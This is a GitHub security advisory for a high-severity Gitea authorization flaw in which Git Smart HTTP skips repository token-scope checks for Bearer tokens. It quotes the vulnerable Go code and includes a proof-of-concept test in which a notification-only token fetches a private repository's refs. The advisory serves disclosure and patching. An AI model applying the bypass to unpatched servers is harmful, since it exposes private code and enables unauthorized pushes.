Skip to content

Gitea: Git Smart HTTP Skips Repository Token Scopes for Bearer Tokens

High severity GitHub Reviewed Published May 25, 2026 in go-gitea/gitea • Updated Jun 16, 2026

Package

gomod code.gitea.io/gitea (Go)

Affected versions

<= 1.26.1

Patched versions

1.26.2

Description

Summary

Gitea v1.26.1 enforces repository-scoped access-token permissions on repository operations. In the Git Smart HTTP path, however, this check runs only when the token is presented via HTTP Basic authentication — CheckRepoScopedToken() returns early unless ctx.IsBasicAuth is true — so the same token sent as Authorization: Bearer <token> bypasses the scope check entirely.

As a result, a PAT or OAuth2 token presented as a Bearer credential can clone or fetch private repositories without the read:repository scope, and likewise reach the Git push without write:repository.

Details

Git Smart HTTP routes allow both Basic auth and OAuth2/Bearer auth:

// routers/web/web.go
addOwnerRepoGitHTTPRouters(
	m,
	repo.HTTPGitEnabledHandler,
	webAuth.AllowBasic,
	webAuth.AllowOAuth2,
	repo.CorsHandler(),
	optSignInFromAnyOrigin,
	context.UserAssignmentWeb(),
)

The Git HTTP authorization path calls CheckRepoScopedToken() before falling through to normal repository RBAC:

// routers/web/repo/githttp.go
if askAuth {
	if !ctx.IsSigned {
		ctx.HTTPError(http.StatusUnauthorized)
		return nil
	}

	context.CheckRepoScopedToken(ctx, repo, auth_model.GetScopeLevelFromAccessMode(accessMode))
	if ctx.Written() {
		return nil
	}

	// normal repository RBAC follows
}

However, CheckRepoScopedToken() only enforces token scopes for Basic-authenticated requests:

// services/context/permission.go
func CheckRepoScopedToken(ctx *Context, repo *repo_model.Repository, level auth_model.AccessTokenScopeLevel) {
	if !ctx.IsBasicAuth || ctx.Data["IsApiToken"] != true {
		return
	}

	scope, ok := ctx.Data["ApiTokenScope"].(auth_model.AccessTokenScope)
	if ok {
		requiredScopes := auth_model.GetRequiredScopes(level, auth_model.AccessTokenScopeCategoryRepository)
		// public-only and required repository scope checks follow
	}
}

The Bearer/OAuth2 auth path still records the token scope:

// services/auth/oauth2.go
accessTokenScope, uid := GetOAuthAccessTokenScopeAndUserID(ctx, tokenSHA)
if uid != 0 {
	store.GetData()["IsApiToken"] = true
	store.GetData()["ApiTokenScope"] = accessTokenScope
}

Bearer PATs also set IsApiToken=true and ApiTokenScope, but ctx.IsBasicAuth remains false because the selected auth method is OAuth2/Bearer rather than Basic. The scope is therefore available but ignored.

PoC

This test creates a token for user2 with only read:notification, then requests Git Smart HTTP refs for user2/repo2, which is private. The same token is rejected over Basic auth, but succeeds over Bearer auth.

func TestPOCGitSmartHTTPBearerTokenBypassesRepositoryScope(t *testing.T) {
	defer tests.PrepareTestEnv(t)()

	repo := unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: 2, OwnerName: "user2", Name: "repo2"})
	assert.True(t, repo.IsPrivate)

	session := loginUser(t, "user2")
	token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeReadNotification)
	url := "/user2/repo2/info/refs?service=git-upload-pack"

	basicReq := NewRequest(t, "GET", url)
	basicReq.SetBasicAuth(token, "x-oauth-basic")
	MakeRequest(t, basicReq, http.StatusForbidden)

	bearerReq := NewRequest(t, "GET", url).AddTokenAuth(token)
	resp := MakeRequest(t, bearerReq, http.StatusOK)
	assert.Contains(t, resp.Body.String(), "refs/heads/master")
}

Impact

Any Gitea instance exposing Git Smart HTTP is affected when users use PATs or OAuth2 tokens as Bearer tokens. The attacker still needs a token for a user who has normal repository RBAC, so this does not grant access to repositories the token owner could not otherwise access.

The vulnerability breaks the access-token scope boundary. A token intended only for unrelated scopes, such as read:notification, can clone or fetch private repository contents over Git Smart HTTP. The same root cause can affect write flows because git-receive-pack also calls the same repository scope check before normal write RBAC.

References

@lunny lunny published to go-gitea/gitea May 25, 2026
Published to the GitHub Advisory Database Jun 16, 2026
Reviewed Jun 16, 2026
Last updated Jun 16, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(12th percentile)

Weaknesses

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

CVE ID

CVE-2026-28744

GHSA ID

GHSA-cc8w-r4qh-3v65

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.